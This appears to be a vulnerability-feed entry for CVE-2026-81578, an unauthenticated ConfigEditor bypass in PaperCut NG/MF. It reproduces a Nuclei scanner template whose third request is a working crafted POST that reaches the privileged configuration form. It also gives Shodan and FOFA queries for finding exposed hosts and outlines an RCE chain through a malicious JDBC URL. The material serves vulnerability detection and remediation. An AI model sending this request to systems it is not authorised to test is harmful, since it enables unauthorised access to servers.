CVE-2026-81578: PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.

PoC代码[已公开]

id: CVE-2026-81578

info:
  name: PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct
  author: darses,DhiyaneshDk
  severity: critical
  description: |
    PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.
  impact: |
    An unauthenticated remote attacker can bypass authentication to access the ConfigEditor administrative interface and modify arbitrary system configurations including database driver settings. When chained with CVE-2026-82078, full remote code execution is achievable with SYSTEM privileges on Windows or papercut user privileges on Linux.
  remediation: |
    Update to PaperCut NG/MF version 26.0.5, 25.0.13, or 24.1.10 or later. As an immediate mitigation, restrict network access to the PaperCut web management interface (default ports 9191 and 9192) to trusted administrative IPs only.
  reference:
    - https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/
    - https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81578
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82078
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-81578
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: papercut
    product: papercut_ng,papercut_mf
    shodan-query: http.title:"PaperCut"
    fofa-query: title="PaperCut"
  tags: cve,cve2026,papercut,auth-bypass,rce,unauth,tapestry,kev,vkev

variables:
  rand: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /app?service=page/Error HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<!-- Page: Error -->")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /app HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "<!-- Page: Home -->")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST /app?service=direct/{{rand}}/Home/ConfigEditor/quickFindForm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/app

        sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=server.name&doQuickFind=Go

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<!-- Page: Home -->")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100814501d0b9eb2c3a097acfa97e667de2de1c0d534e2dbefc08f3c136d1dfe6130220601f258fb70521fd810d7e6dd1409ad30630a6c08d2bedbdd41c6abe1b865a77:922c64590222798bb761d5b6d8e72950